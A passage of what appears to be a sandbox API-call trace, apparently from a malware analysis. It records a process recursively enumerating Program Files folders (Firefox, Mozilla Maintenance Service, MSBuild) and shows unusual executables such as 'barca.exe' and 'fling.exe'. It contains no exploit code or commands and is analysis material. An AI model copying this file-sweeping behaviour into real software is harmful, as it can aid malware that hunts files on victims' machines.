ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="precomplete", cAlternateFileName="PRECOM~1")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x13c55480, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x8f3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="removed-files", cAlternateFileName="REMOVE~1")) returned 1 [0259.106] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.chk", cAlternateFileName="")) returned 1 [0259.106] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x25870, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.dll", cAlternateFileName="")) returned 1 [0259.106] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall", cAlternateFileName="UNINST~1")) returned 1 [0259.106] GetProcessHeap () returned 0x550000 [0259.106] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.107] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.107] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4a579b00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xd4fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="helper.exe", cAlternateFileName="")) returned 1 [0259.107] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925200, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1049400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="shortcuts_log.ini", cAlternateFileName="SHORTC~1.INI")) returned 1 [0259.107] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 1 [0259.107] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 0 [0259.107] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.108] GetProcessHeap () returned 0x550000 [0259.108] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.108] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x9f38e880, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1 [0259.108] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x37dd6180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.exe", cAlternateFileName="")) returned 1 [0259.108] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0259.108] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3875f800, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x29bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapp-uninstaller.exe", cAlternateFileName="WEBAPP~1.EXE")) returned 1 [0259.108] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt", cAlternateFileName="")) returned 1 [0259.108] GetProcessHeap () returned 0x550000 [0259.108] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.110] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.110] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1efb80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1efb80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x593e4d80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x69f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0259.110] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt.ini", cAlternateFileName="")) returned 1 [0259.110] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt.ini", cAlternateFileName="")) returned 0 [0259.110] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.110] GetProcessHeap () returned 0x550000 [0259.110] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.110] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x390e8e80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a670, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt-stub.exe", cAlternateFileName="WEBAPP~2.EXE")) returned 1 [0259.110] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070, dwReserved0=0x0, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 1 [0259.110] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070, dwReserved0=0x0, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 0 [0259.110] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0259.111] GetProcessHeap () returned 0x550000 [0259.111] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0259.111] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xdbd48c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbd48c60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~2")) returned 1 [0259.111] GetProcessHeap () returned 0x550000 [0259.111] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0259.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xdbd48c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbd48c60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0259.123] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xdbd48c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbd48c60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.123] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x556a5b10, ftCreationTime.dwHighDateTime=0x1d5ce1b, ftLastAccessTime.dwLowDateTime=0x398756a0, ftLastAccessTime.dwHighDateTime=0x1d57326, ftLastWriteTime.dwLowDateTime=0x398756a0, ftLastWriteTime.dwHighDateTime=0x1d57326, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0259.127] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fd16740, ftCreationTime.dwHighDateTime=0x1d57ee8, ftLastAccessTime.dwLowDateTime=0x5412a330, ftLastAccessTime.dwHighDateTime=0x1d56a16, ftLastWriteTime.dwLowDateTime=0x5412a330, ftLastWriteTime.dwHighDateTime=0x1d56a16, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fling.exe", cAlternateFileName="")) returned 1 [0259.127] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0259.128] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08409c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x19ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall.exe", cAlternateFileName="UNINST~1.EXE")) returned 1 [0259.128] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0259.128] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 0 [0259.128] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0259.134] GetProcessHeap () returned 0x550000 [0259.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0259.134] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbde11e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbde11e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0259.134] GetProcessHeap () returned 0x550000 [0259.134] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0259.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbde11e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbde11e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0259.137] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbde11e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbde11e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.137] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0259.137] GetProcessHeap () returned 0x550000 [0259.137] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.137] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.137] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0259.137] GetProcessHeap () returned 0x550000 [0259.137] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0259.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0259.138] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.138] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0259.138] GetProcessHeap () returned 0x550000 [0259.138] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0259.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0259.139] FindNextFileW (in: 